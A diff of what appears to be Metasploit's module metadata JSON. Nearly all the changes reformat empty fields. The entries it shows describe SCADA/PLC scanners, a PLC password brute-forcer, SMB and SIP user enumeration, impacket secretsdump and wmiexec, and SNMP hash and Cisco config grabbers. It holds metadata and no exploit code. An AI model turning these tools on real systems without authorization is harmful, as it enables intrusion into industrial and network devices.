-55183,20 +47827,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/digi_addp_version": { "name": "Digi ADDP Information Discovery", "fullname": "auxiliary/scanner/scada/digi_addp_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55211,12 +47850,8 @@ "platform": "", "arch": "", "rport": 2362, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/scada/digi_addp_version.rb", @@ -55225,20 +47860,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/digi_realport_serialport_scan": { "name": "Digi RealPort Serial Server Port Scanner", "fullname": "auxiliary/scanner/scada/digi_realport_serialport_scan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55253,12 +47883,8 @@ "platform": "", "arch": "", "rport": 771, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb", @@ -55267,20 +47893,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/digi_realport_version": { "name": "Digi RealPort Serial Server Version", "fullname": "auxiliary/scanner/scada/digi_realport_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55295,12 +47916,8 @@ "platform": "", "arch": "", "rport": 771, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/scada/digi_realport_version.rb", @@ -55309,20 +47926,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/indusoft_ntwebserver_fileaccess": { "name": "Indusoft WebStudio NTWebServer Remote File Access", "fullname": "auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55363,20 +47975,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/koyo_login": { "name": "Koyo DirectLogic PLC Password Brute Force Utility", "fullname": "auxiliary/scanner/scada/koyo_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -55391,12 +47998,8 @@ "platform": "", "arch": "", "rport": 28784, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/koyo_login.rb", @@ -55405,20 +48008,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/modbus_banner_grabbing": { "name": "Modbus Banner Grabbing", "fullname": "auxiliary/scanner/scada/modbus_banner_grabbing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55435,12 +48033,8 @@ "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/scada/modbus_banner_grabbing.rb", @@ -55456,22 +48050,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/modbus_findunitid": { "name": "Modbus Unit ID and Station ID Enumerator", "fullname": "auxiliary/scanner/scada/modbus_findunitid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-28", "type": "auxiliary", @@ -55486,12 +48074,8 @@ "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/scada/modbus_findunitid.rb", @@ -55500,20 +48084,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/modbusclient": { "name": "Modbus Client Utility", "fullname": "auxiliary/scanner/scada/modbusclient", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55525,18 +48104,12 @@ "AZSG " ], "description": "This module allows reading and writing data to a PLC using the Modbus protocol.\n This module is based on the 'modiconstop.rb' Basecamp module from DigitalBond,\n as well as the mbtget perl script.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/scada/modbusclient.rb", @@ -55545,8 +48118,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -55591,9 +48163,7 @@ "auxiliary_scanner/scada/modbusdetect": { "name": "Modbus Version Scanner", "fullname": "auxiliary/scanner/scada/modbusdetect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-01", "type": "auxiliary", @@ -55608,12 +48178,8 @@ "platform": "", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/scada/modbusdetect.rb", @@ -55622,20 +48188,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/moxa_discover": { "name": "Moxa UDP Device Discovery", "fullname": "auxiliary/scanner/scada/moxa_discover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55651,12 +48212,8 @@ "platform": "", "arch": "", "rport": 4800, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/moxa_discover.rb", @@ -55665,20 +48222,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/pcomclient": { "name": "Unitronics PCOM Client", "fullname": "auxiliary/scanner/scada/pcomclient", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55692,12 +48244,8 @@ "platform": "", "arch": "", "rport": 20256, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-02-08 19:22:48 +0000", "path": "/modules/auxiliary/scanner/scada/pcomclient.rb", @@ -55706,8 +48254,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -55724,9 +48271,7 @@ "auxiliary_scanner/scada/profinet_siemens": { "name": "Siemens Profinet Scanner", "fullname": "auxiliary/scanner/scada/profinet_siemens", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55741,12 +48286,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-13 15:30:31 +0000", "path": "/modules/auxiliary/scanner/scada/profinet_siemens.rb", @@ -55755,20 +48296,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/scada/sielco_winlog_fileaccess": { "name": "Sielco Sistemi Winlog Remote File Access", "fullname": "auxiliary/scanner/scada/sielco_winlog_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55787,12 +48323,8 @@ "platform": "", "arch": "", "rport": 46824, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb", @@ -55801,20 +48333,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sip/enumerator": { "name": "SIP Username Enumerator (UDP)", "fullname": "auxiliary/scanner/sip/enumerator", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55822,18 +48349,12 @@ "et " ], "description": "Scan for numeric username/extensions using OPTIONS/REGISTER requests", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/enumerator.rb", @@ -55842,20 +48363,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sip/enumerator_tcp": { "name": "SIP Username Enumerator (TCP)", "fullname": "auxiliary/scanner/sip/enumerator_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55863,18 +48379,12 @@ "et " ], "description": "Scan for numeric username/extensions using OPTIONS/REGISTER requests", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/enumerator_tcp.rb", @@ -55883,20 +48393,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sip/options": { "name": "SIP Endpoint Scanner (UDP)", "fullname": "auxiliary/scanner/sip/options", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55904,18 +48409,12 @@ "hdm " ], "description": "Scan for SIP devices using OPTIONS requests", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/options.rb", @@ -55924,20 +48423,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sip/options_tcp": { "name": "SIP Endpoint Scanner (TCP)", "fullname": "auxiliary/scanner/sip/options_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55945,18 +48439,12 @@ "hdm " ], "description": "Scan for SIP devices using OPTIONS requests", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/options_tcp.rb", @@ -55965,20 +48453,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/sip/sipdroid_ext_enum": { "name": "SIPDroid Extension Grabber", "fullname": "auxiliary/scanner/sip/sipdroid_ext_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -55993,12 +48476,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-09-15 18:54:45 +0000", "path": "/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb", @@ -56007,20 +48486,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/impacket/dcomexec": { "name": "DCOM Exec", "fullname": "auxiliary/scanner/smb/impacket/dcomexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-19", "type": "auxiliary", @@ -56038,12 +48512,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/dcomexec.py", @@ -56059,16 +48529,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/impacket/secretsdump": { "name": "DCOM Exec", "fullname": "auxiliary/scanner/smb/impacket/secretsdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56094,12 +48560,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-04-01 05:17:02 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/secretsdump.py", @@ -56115,16 +48577,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/impacket/wmiexec": { "name": "WMI Exec", "fullname": "auxiliary/scanner/smb/impacket/wmiexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-19", "type": "auxiliary", @@ -56139,12 +48597,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-10-15 16:42:30 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py", @@ -56160,16 +48614,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/pipe_auditor": { "name": "SMB Session Pipe Auditor", "fullname": "auxiliary/scanner/smb/pipe_auditor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56177,9 +48627,7 @@ "hdm " ], "description": "Determine what named pipes are accessible over SMB", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -56199,22 +48647,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/pipe_dcerpc_auditor": { "name": "SMB Session Pipe DCERPC Auditor", "fullname": "auxiliary/scanner/smb/pipe_dcerpc_auditor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56222,9 +48665,7 @@ "hdm " ], "description": "Determine what DCERPC services are accessible over a SMB pipe", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -56244,22 +48685,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/psexec_loggedin_users": { "name": "Microsoft Windows Authenticated Logged In Users Enumeration", "fullname": "auxiliary/scanner/smb/psexec_loggedin_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56292,20 +48728,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_enum_gpp": { "name": "SMB Group Policy Preference Saved Passwords Enumeration", "fullname": "auxiliary/scanner/smb/smb_enum_gpp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56340,22 +48771,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_enumshares": { "name": "SMB Share Enumeration", "fullname": "auxiliary/scanner/smb/smb_enumshares", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56368,9 +48794,7 @@ "sjanusz-r7" ], "description": "This module determines what shares are provided by the SMB service and which ones\n are readable/writable. It also collects additional information such as share types,\n directories, files, time stamps, etc.\n\n By default, a RubySMB net_share_enum_all request is done in order to retrieve share information,\n which uses SRVSVC.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -56390,22 +48814,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_enumusers": { "name": "SMB User Enumeration (SAM EnumUsers)", "fullname": "auxiliary/scanner/smb/smb_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56413,9 +48832,7 @@ "hdm " ], "description": "Determine what users exist via the SAM RPC service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -56435,22 +48852,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_enumusers_domain": { "name": "SMB Domain User Enumeration", "fullname": "auxiliary/scanner/smb/smb_enumusers_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56482,15 +48894,12 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_login": { "name": "SMB Login Check Scanner", @@ -56530,20 +48939,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_lookupsid": { "name": "SMB SID User Enumeration (LookupSid)", "fullname": "auxiliary/scanner/smb/smb_lookupsid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56551,9 +48955,7 @@ "hdm " ], "description": "Determine what users exist via brute force SID lookups.\n This module can enumerate both local and domain accounts by setting\n ACTION to either LOCAL or DOMAIN", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -56573,8 +48975,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "smb" ], @@ -56593,9 +48994,7 @@ "auxiliary_scanner/smb/smb_ms17_010": { "name": "MS17-010 SMB RCE Detection", "fullname": "auxiliary/scanner/smb/smb_ms17_010", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56643,16 +49042,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_uninit_cred": { "name": "Samba _netr_ServerPasswordSet Uninitialized Credential State", "fullname": "auxiliary/scanner/smb/smb_uninit_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56688,20 +49083,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smb/smb_version": { "name": "SMB Version Detection", "fullname": "auxiliary/scanner/smb/smb_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56711,9 +49101,7 @@ "Christophe De La Fuente" ], "description": "Fingerprint and display version information about SMB servers. Protocol\n information and host operating system (if available) will be reported.\n Host operating system detection requires the remote server to support\n version 1 of the SMB protocol. Compression and encryption capability\n negotiation is only present in version 3.1.1.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -56733,13 +49121,10 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smtp/smtp_enum": { "name": "SMTP User Enumeration Utility", @@ -56783,20 +49168,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smtp/smtp_ntlm_domain": { "name": "SMTP NTLM Domain Extraction", "fullname": "auxiliary/scanner/smtp/smtp_ntlm_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56830,20 +49210,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smtp/smtp_relay": { "name": "SMTP Open Relay Detection", "fullname": "auxiliary/scanner/smtp/smtp_relay", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56879,20 +49254,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/smtp/smtp_version": { "name": "SMTP Banner Grabber", "fullname": "auxiliary/scanner/smtp/smtp_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56926,20 +49296,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/aix_version": { "name": "AIX SNMP Scanner Auxiliary Module", "fullname": "auxiliary/scanner/snmp/aix_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56948,18 +49313,12 @@ "Adriano Lima " ], "description": "AIX SNMP Scanner Auxiliary Module", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/aix_version.rb", @@ -56968,20 +49327,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/arris_dg950": { "name": "Arris DG950A Cable Modem Wifi Enumeration", "fullname": "auxiliary/scanner/snmp/arris_dg950", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -56996,12 +49350,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/snmp/arris_dg950.rb", @@ -57010,20 +49360,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/brocade_enumhash": { "name": "Brocade Password Hash Enumeration", "fullname": "auxiliary/scanner/snmp/brocade_enumhash", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57032,39 +49377,30 @@ ], "description": "This module extracts password hashes from certain Brocade load\n balancer devices.", "references": [ - "URL-https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" + "URL-http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" ], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/snmp/brocade_enumhash.rb", "is_install_path": true, "ref_name": "scanner/snmp/brocade_enumhash", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/cisco_config_tftp": { "name": "Cisco IOS SNMP Configuration Grabber (TFTP)", "fullname": "auxiliary/scanner/snmp/cisco_config_tftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57073,18 +49409,12 @@ "hdm " ], "description": "This module will download the startup or running configuration\n from a Cisco IOS device using SNMP and TFTP. A read-write SNMP\n community is required. The SNMP community scanner module can\n assist in identifying a read-write community. The target must\n be able to connect back to the Metasploit system and the use of\n NAT will cause the TFTP transfer to fail.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb", @@ -57093,20 +49423,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/cisco_upload_file": { "name": "Cisco IOS SNMP File Upload (TFTP)", "fullname": "auxiliary/scanner/snmp/cisco_upload_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57115,18 +49440,12 @@ "ct5595" ], "description": "This module will copy file to a Cisco IOS device using SNMP and TFTP.\n The action Override_Config will override the running config of the Cisco device.\n A read-write SNMP community is required. The SNMP community scanner module can\n assist in identifying a read-write community. The target must\n be able to connect back to the Metasploit system and the use of\n NAT will cause the TFTP transfer to fail.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-04-09 09:01:33 +0000", "path": "/modules/auxiliary/scanner/snmp/cisco_upload_file.rb", @@ -57135,8 +49454,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -57153,9 +49471,7 @@ "auxiliary_scanner/snmp/cnpilot_r_snmp_loot": { "name": "Cambium cnPilot r200/r201 SNMP Enumeration", "fullname": "auxiliary/scanner/snmp/cnpilot_r_snmp_loot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57170,12 +49486,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb", @@ -57184,20 +49496,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/epmp1000_snmp_loot": { "name": "Cambium ePMP 1000 SNMP Enumeration", "fullname": "auxiliary/scanner/snmp/epmp1000_snmp_loot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57213,12 +49520,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-06-11 13:09:25 +0000", "path": "/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.rb", @@ -57227,20 